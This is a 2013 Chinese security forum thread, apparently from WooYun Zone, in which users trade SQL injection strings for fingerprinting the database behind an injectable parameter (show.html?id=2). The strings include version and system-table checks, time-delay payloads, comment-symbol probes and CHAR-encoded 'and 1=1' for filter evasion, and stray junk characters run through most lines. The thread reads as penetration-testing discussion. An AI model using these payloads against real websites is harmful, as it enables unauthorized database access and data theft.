一个注射点如何最快速确认是什么类型数据库3 I; u4 K& H3 o% {" D& ]5 A
xsser (十根阳具有长短!!) | 2013-02-05 12:36
2 f) l0 Y8 r. ^7 i2 P假设这么一个注射点:
& g& g8 }* N2 Q. g2 ^: _7 mshow.html?id=21 W4 v- H: O- F d6 Z
mysql:id=2 and version()>0. d- v# L" G, J# t Q
oracle:id=2 and '1'||'1'='11
5 A( a: F" h, b其他的欢迎补充
; d0 k9 m0 U, _ I+ k5 C1#
% `+ b) A ~3 P lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
$ I' o3 I3 d% rAccess:5 Q2 C$ P0 d) O$ Y
aNd aSc(cHr(97))=97
" x7 }) |% N" r9 A* u( q) G1 qand exists(select id from MSysAccessObjects)
: N% n8 }9 K Q8 ?SQL Server:
4 m v) F' \$ P, f: P3 qand exists(select id from sysobjects) `7 D3 N# L& C
and length(user)>03 \7 j* A2 R+ O: ~* J
MySQL:
b& P; g; [& ~ \* oand length(user())>0- X% _4 T, k( r
2#9 P# O1 j$ L! U
xsser (十根阳具有长短!!) | 2013-02-05 12:48
4 u0 g8 ]& t6 v5 r@upload 如果这些都不是呢…
; B# t& c9 M! F# Q3#) H2 A( T! n* p! `! V, |% G
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
. l" E" J4 F/ \2 \( [@xsser 不快速的,延时注入# P- Q1 w+ t; y2 l! q
不知道这样写对不对
& a+ P. H2 J, W Rmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
( w: K* ?% m, c1 G/ _% F, E& Vmysql:id=2 and select benchmark(1e8,current_date());
' ], K/ j7 a: `4#
) q3 L8 P' n6 Q0 B8 M6 Aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10* e) O! T5 s6 P3 O( h, j; C
最快的貌似是看报错信息
5 p/ J1 U6 V& v+ j2 s6 V# Q9 zoracle error
9 k9 o. p ~: \0 k+ i' ^1 Lmssql error
/ `+ {6 W- {$ `8 z8 mmysql error
, c1 T: u% }9 [$ _5#
+ {: B7 q9 A, A$ v; `Nimda (你们都是坏银~) | 2013-02-05 13:14
5 Z* I7 @3 P1 d. o小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)- k6 Q; Y* { M- r q9 i0 Q1 q0 a
6#- R4 N, d; Z6 y0 Z; K# Q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:217 `0 \$ {8 l5 W) X6 t; Y
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
4 I ?* D3 D# \7 @, l) h3 O! }( h“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:! Z2 X8 t. V% M( K1 O& i
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
" G4 q1 @* d; }8 b7 x7#
' k# r* \) _8 e6 O7 ?_Evil (HackEnd) | 2013-02-05 13:33' r4 O/ B6 b5 `2 g$ T4 e" w
PostgreSQL
7 I5 A' ?! j' Z8#
% j9 l; _5 k/ W- gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
, n. x8 {8 R0 b0 D) w切换编码 and 1=1% W" U# f/ H- r
oracle:
8 P0 o' l0 W: v8 V6 `CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)$ s: M, v" s* _% `4 |
mssql:
: z9 L; l% Q# E0 UCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)) @% s" f/ o6 l& j
mysql:. [# Y0 H3 j) f- \' z
CHAR(97, 110, 100, 32, 49, 61, 49)1 ]) A! L0 j; [* R3 n, d
9#. I* l7 F! u# F% z( Y7 B9 {* Y
xsser (十根阳具有长短!!) | 2013-02-05 14:311 f/ y1 D9 w: D& G" r$ O
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?. W5 g Y( P6 S- f9 K! N
10#
# S9 d C0 v: V+ Gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:465 r9 j! ]1 B$ O% s1 U
@xsser 是奇葩数据库类型的么?6 G- i" N W0 ~7 b8 X1 p
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:- G3 ?! g& u* H6 @. ~; M: ? z
1.是否可以使用特定的函数来判断,该数据库特有的& Q4 ]/ `/ l& I' Z c, d, f; z/ x
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
. Y: w& l- L/ S p; P1 {3 ~3.是否可以编码查询
' Y; ~2 E5 U i* j, }% A* x8 t4.是否显可以利用错信息6 R0 I" n' Q( W; M! v4 g- ]
5.是否存在数据库某些特性辅助判断) o& r7 M! S& l7 S. ?" d
个人见解9 q' E3 R& _2 V( v
11#
& V2 `% H4 j3 Y小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
$ _2 g0 c7 G8 `已收藏,mssql可以直接看到错误提示的吧~
4 q/ f4 M$ o% @12#9 G0 g$ u: {5 {1 X6 N; X6 H
Passer_by | 2013-02-05 15:09 K: J( `; |4 x7 ~: B
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
( b7 D( E- f% a3 K8 d" t! ifrom:http://zone.wooyun.org/content/260 |